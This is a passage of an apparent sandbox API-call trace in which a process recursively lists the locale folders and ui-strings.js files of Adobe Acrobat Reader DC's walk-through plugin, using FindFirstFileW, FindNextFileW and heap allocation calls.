Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\js\\nls\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0264.926] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.926] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0264.926] GetProcessHeap () returned 0xc10000 [0264.926] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0264.926] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\js\\nls\\da-dk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0264.928] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.928] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xa4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.928] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xa4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.928] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0264.928] GetProcessHeap () returned 0xc10000 [0264.928] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0264.928] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0264.928] GetProcessHeap () returned 0xc10000 [0264.928] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0264.929] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\js\\nls\\de-de\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0264.930] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.930] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xbab, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.930] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xbab, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.930] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0264.930] GetProcessHeap () returned 0xc10000 [0264.930] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0264.930] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0264.930] GetProcessHeap () returned 0xc10000 [0264.930] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0264.930] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\js\\nls\\en-gb\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0264.930] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.930] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x347, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.931] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x347, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.931] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0264.931] GetProcessHeap () returned 0xc10000 [0264.931] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0264.931] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0264.931] GetProcessHeap () returned 0xc10000 [0264.931] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0264.931] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\js\\nls\\es-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0264.932] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.932] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.932] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.932] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0264.932] GetProcessHeap () returned 0xc10000 [0264.932] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0264.932] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0264.932] GetProcessHeap () returned 0xc10000 [0264.932] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0264.932] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\js\\nls\\fi-fi\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0264.941] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.941] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xa4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.941] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xa4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.941] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0264.941] GetProcessHeap () returned 0xc10000 [0264.941] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0264.941] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0264.941] GetProcessHeap () returned 0xc10000 [0264.941] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0264.941] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\js\\nls\\fr-fr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.943] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.943] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.943] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.943] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0264.943] GetProcessHeap () returned 0xc10000 [0264.943] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0264.943] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0264.943] GetProcessHeap () returned 0xc10000 [0264.943] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0264.943] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\js\\nls\\it-it\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0264.944] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.944] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.944] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.944] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0264.944] GetProcessHeap () returned 0xc10000 [0264.944] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0264.944] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0264.945] GetProcessHeap () returned 0xc10000 [0264.945] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0264.945] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\js\\nls\\ja-jp\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0264.945] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, 